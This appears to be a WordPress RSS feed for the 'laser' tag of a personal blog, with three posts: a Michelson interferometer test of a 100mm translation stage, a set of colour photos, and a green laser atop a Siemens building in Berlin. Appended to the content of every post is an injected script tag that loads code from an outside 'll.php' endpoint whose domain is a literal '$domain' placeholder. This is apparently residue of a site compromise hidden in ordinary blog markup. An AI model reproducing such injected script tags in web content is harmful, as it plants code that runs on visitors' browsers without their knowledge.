<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; laser</title>
	<atom:link href="http://www.anderswallin.net/tag/laser/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Wed, 08 Feb 2012 12:05:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Michelson interferometer</title>
		<link>http://www.anderswallin.net/2009/12/michelson-interferometer/</link>
		<comments>http://www.anderswallin.net/2009/12/michelson-interferometer/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 12:20:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Astro]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[interferometer]]></category>
		<category><![CDATA[laser]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2208</guid>
		<description><![CDATA[Tried this simple Michelson interferometer for measuring the error of a 100mm translation stage yesterday. The interferometer and stage are mounted to the same optical table, but there's still a fair amount of vibration of the measurement corner-cube which causes instability in the signal when the stage is not moving. Some sample data here: interf_data. One [...]]]></description>
			<content:encoded><![CDATA[<p>Tried this simple Michelson interferometer for measuring the error of a 100mm translation stage yesterday. The interferometer and stage are mounted to the same optical table, but there's still a fair amount of vibration of the measurement corner-cube which causes instability in the signal when the stage is not moving.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/12/interf.jpg"><img class="alignnone size-medium wp-image-2209" title="interf" src="http://www.anderswallin.net/wp-content/uploads/2009/12/interf-625x468.jpg" alt="interf" width="625" height="468" /></a></p>
<p>Some sample data here: <a href="http://www.anderswallin.net/wp-content/uploads/2009/12/interf_data.zip">interf_data</a>. One channel is an encoder signal from the motor which should come every 5 um, the other channel is the interferometer output. Analysis will follow...<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/12/michelson-interferometer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Colors</title>
		<link>http://www.anderswallin.net/2009/07/colors/</link>
		<comments>http://www.anderswallin.net/2009/07/colors/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 14:54:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[colours]]></category>
		<category><![CDATA[laser]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1458</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009003.jpg"><img class="alignnone size-medium wp-image-1457" title="21072009003" src="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009003-450x337.jpg" alt="21072009003" width="450" height="337" /></a></p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009004.jpg"><img class="alignnone size-medium wp-image-1454" title="21072009004" src="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009004-450x337.jpg" alt="21072009004" width="450" height="337" /></a></p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009001.jpg"><img class="alignnone size-medium wp-image-1456" title="21072009001" src="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009001-450x337.jpg" alt="21072009001" width="450" height="337" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/07/colors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Green laser in Berlin</title>
		<link>http://www.anderswallin.net/2009/02/green-laser-in-berlin/</link>
		<comments>http://www.anderswallin.net/2009/02/green-laser-in-berlin/#comments</comments>
		<pubDate>Mon, 16 Feb 2009 21:52:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Travel]]></category>
		<category><![CDATA[Berlin]]></category>
		<category><![CDATA[laser]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1053</guid>
		<description><![CDATA[There's a seriously cool green laser on top of a Siemens building in Adlershof in Berlin.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/02/16022009397.jpg"><img src="http://www.anderswallin.net/wp-content/uploads/2009/02/16022009397-337x450.jpg" alt="" title="16022009397" width="337" height="450" class="alignnone size-medium wp-image-1052" /></a></p>
<p>There's a seriously cool green laser on top of a Siemens building in <a href="http://en.wikipedia.org/wiki/Adlershof">Adlershof</a> in Berlin.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/02/green-laser-in-berlin/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

